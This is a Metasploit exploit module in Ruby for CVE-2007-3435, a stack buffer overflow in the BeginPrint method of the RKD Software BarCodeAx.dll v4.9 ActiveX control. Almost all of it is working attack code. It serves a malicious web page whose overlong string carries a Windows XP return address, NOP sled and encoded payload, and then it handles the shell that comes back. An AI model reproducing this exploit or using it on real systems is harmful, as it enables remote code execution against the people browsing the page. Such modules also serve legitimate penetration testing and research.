This Metasploit module exploits a stack overflow in RKD Software Barcode Application ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.
830fb97a12250288c3c344f312f383d28eed3c7a3ad23ca70f9078f2faa09692##
# $Id: barcode_ax49.rb 8466 2010-02-12 18:06:49Z patrickw $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in RKD Software Barcode Application
ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint
method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
'Version' => '$Revision: 8466 $',
'References' =>
[
[ 'URL', 'http://www.milw0rm.com/exploits/4094' ],
[ 'OSVDB', '37482' ],
[ 'BID', '24596' ],
[ 'CVE', '2007-3435' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x20\'\"%<>@=,.\#$&()\\/",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll patrickw xpsp0
],
'DisclosureDate' => 'Jun 22 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
buff = Rex::Text.rand_text_alphanumeric(656) + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
# Build out the message
content = %Q|
<html>
<object classid='clsid:C26D9CA8-6747-11D5-AD4B-C01857C10000' id='#{vname}'></object>
<script language='javascript'>
#{vname}.BeginPrint("#{buff}");
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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